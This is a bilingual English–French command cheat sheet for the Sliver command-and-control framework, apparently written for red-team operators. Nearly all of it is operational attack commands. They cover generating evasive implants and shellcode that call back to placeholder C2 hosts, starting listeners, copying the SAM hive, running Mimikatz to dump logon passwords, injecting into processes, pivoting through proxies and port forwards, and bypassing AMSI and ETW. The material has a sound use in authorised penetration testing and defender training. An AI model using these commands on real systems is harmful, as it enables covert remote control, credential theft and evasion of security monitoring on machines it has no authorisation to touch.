Sliver
Framework C2 open-source de BishopFox. Supporte les communications mTLS, WireGuard, HTTP/S et DNS avec des implants pour Windows, Linux et macOS. Open-source C2 framework from BishopFox. Supports mTLS, WireGuard, HTTP/S, and DNS comms with implants for Windows, Linux, and macOS.
↗ https://github.com/BishopFox/sliverOverview
Sliver is a modern, open-source Command & Control (C2) framework designed for red team operations. It auto-generates implants with unique encryption keys, supports multiple transport protocols, and provides a rich operator console with multi-player support.
Server Setup
Start Sliver server (background daemon)
sliver-server
Or as a system service
sudo systemctl start sliver
Connect to server (multiplayer)
sliver-client
Generate Implants
# Interactive console commands:
Generate a beacon (async, check-in based)
generate beacon --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/
Generate a session (interactive, persistent connection)
generate --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/
HTTP/HTTPS beacon
generate beacon --http https://c2.domain.com --os linux --save /tmp/
DNS C2
generate beacon --dns c2.domain.com --os windows --save /tmp/
WireGuard transport
generate beacon --wg 10.10.10.1:51820 --os windows --save /tmp/
Shellcode format (for injection)
generate --mtls 10.10.10.1 --format shellcode --save /tmp/
Shared library (.dll / .so)
generate --mtls 10.10.10.1 --format shared-lib --os windows --save /tmp/
With evasion (obfuscation + canary bypass)
generate beacon --mtls 10.10.10.1 --evasion --os windows --save /tmp/
Listeners
mTLS listener
mtls
HTTPS listener
https
HTTP listener
http
DNS listener
dns --domains c2.domain.com
WireGuard
wg
Specify port
mtls --lport 8443
Session / Beacon Interaction
sessions # interactive sessions
beacons # async beacons
# Interact with a session
use SESSION_ID
# or
sessions -i SESSION_ID
Interact with a beacon
beacons -i BEACON_ID
# Basic recon
whoami
hostname
ps
ls
ifconfig
netstat
# Upload/download
upload /local/file.exe C:\\Windows\\Temp\\file.exe
download C:\\Windows\\System32\\SAM /tmp/SAM
Execute assembly in memory
execute-assembly /path/to/Assembly.exe arg1 arg2
Run shellcode
shellcode inject --pid 1234 /path/to/shellcode.bin
Spawn child session
generate --mtls 10.10.10.1 --format exe | execute-assembly -
Pivoting
SOCKS5 proxy through implant
socks5 start
Port forward
portfwd add --remote 10.10.10.1:445 --bind 127.0.0.1:4445
Reverse port forward
rportfwd add --remote 10.10.10.1:80 --bind 0.0.0.0:8080
Built-in Tools
Run built-in Mimikatz (in-process)
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
SharpHound via execute-assembly
execute-assembly /opt/SharpHound.exe -c All
Process injection
inject --pid 1234 /path/to/shellcode.bin
Screenshot
screenshot
Tips
- Beacons are operationally safer than sessions — they blend into normal traffic patterns
- Use
--evasionflag to enable obfuscation, AMSI bypass, and ETW patching in the implant - Sliver generates unique per-implant keys — each compiled implant is cryptographically distinct
- The Armory provides community extensions:
armory install allfor common post-ex tools
Key commands reference
Server commands:
generate [beacon] Build an implant
mtls/https/http/dns Start listeners
sessions List interactive sessions
beacons List beacon implants
use ID Interact with session/beacon
jobs Manage listeners
Session commands:
whoami/hostname/ps/ls/pwd/env
upload/download
execute Run OS command
execute-assembly Run .NET assembly in memory
shellcode Inject shellcode
inject Process injection
screenshot
socks5 SOCKS5 proxy
portfwd Port forwarding
rportfwd Reverse port forward
mimikatz Run Mimikatz modules
armory Manage extensions
Vue d’ensemble
Sliver est un framework de Command & Control (C2) moderne et open-source conçu pour les opérations red team. Il génère automatiquement des implants avec des clés de chiffrement uniques, supporte plusieurs protocoles de transport, et fournit une console opérateur riche avec support multi-joueurs.
Mise en place du serveur
# Démarrer le serveur Sliver (démon en arrière-plan)
sliver-server
# Ou en tant que service système
sudo systemctl start sliver
# Se connecter au serveur (multiplayer)
sliver-client
Génération d’implants
# Commandes de la console interactive :
# Générer un beacon (asynchrone, basé sur des check-ins)
generate beacon --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/
# Générer une session (interactive, connexion persistante)
generate --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/
# Beacon HTTP/HTTPS
generate beacon --http https://c2.domain.com --os linux --save /tmp/
# C2 DNS
generate beacon --dns c2.domain.com --os windows --save /tmp/
# Transport WireGuard
generate beacon --wg 10.10.10.1:51820 --os windows --save /tmp/
# Format shellcode (pour injection)
generate --mtls 10.10.10.1 --format shellcode --save /tmp/
# Bibliothèque partagée (.dll / .so)
generate --mtls 10.10.10.1 --format shared-lib --os windows --save /tmp/
# Avec évasion (obfuscation + contournement de canary)
generate beacon --mtls 10.10.10.1 --evasion --os windows --save /tmp/
Listeners
# Listener mTLS
mtls
# Listener HTTPS
https
# Listener HTTP
http
# Listener DNS
dns --domains c2.domain.com
# WireGuard
wg
# Spécifier un port
mtls --lport 8443
Interaction avec les sessions / beacons
sessions # sessions interactives
beacons # beacons asynchrones
# Interagir avec une session
use SESSION_ID
# ou
sessions -i SESSION_ID
# Interagir avec un beacon
beacons -i BEACON_ID
# Reconnaissance de base
whoami
hostname
ps
ls
ifconfig
netstat
# Upload/download
upload /local/file.exe C:\\Windows\\Temp\\file.exe
download C:\\Windows\\System32\\SAM /tmp/SAM
# Exécuter une assembly en mémoire
execute-assembly /path/to/Assembly.exe arg1 arg2
# Lancer du shellcode
shellcode inject --pid 1234 /path/to/shellcode.bin
# Générer une session enfant
generate --mtls 10.10.10.1 --format exe | execute-assembly -
Pivoting
# Proxy SOCKS5 à travers l'implant
socks5 start
# Port forward
portfwd add --remote 10.10.10.1:445 --bind 127.0.0.1:4445
# Reverse port forward
rportfwd add --remote 10.10.10.1:80 --bind 0.0.0.0:8080
Outils intégrés
# Lancer Mimikatz intégré (in-process)
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
# SharpHound via execute-assembly
execute-assembly /opt/SharpHound.exe -c All
# Injection de processus
inject --pid 1234 /path/to/shellcode.bin
# Capture d'écran
screenshot
Conseils
- Les beacons sont opérationnellement plus sûrs que les sessions : ils se fondent mieux dans les motifs de trafic normaux
- Utiliser le flag
--evasionpour activer l’obfuscation, le contournement AMSI et le patching ETW dans l’implant - Sliver génère des clés uniques par implant : chaque implant compilé est cryptographiquement distinct
- L’Armory fournit des extensions communautaires :
armory install allpour les outils de post-exploitation courants
Référence des commandes clés
Server commands:
generate [beacon] Build an implant
mtls/https/http/dns Start listeners
sessions List interactive sessions
beacons List beacon implants
use ID Interact with session/beacon
jobs Manage listeners
Session commands:
whoami/hostname/ps/ls/pwd/env
upload/download
execute Run OS command
execute-assembly Run .NET assembly in memory
shellcode Inject shellcode
inject Process injection
screenshot
socks5 SOCKS5 proxy
portfwd Port forwarding
rportfwd Reverse port forward
mimikatz Run Mimikatz modules
armory Manage extensions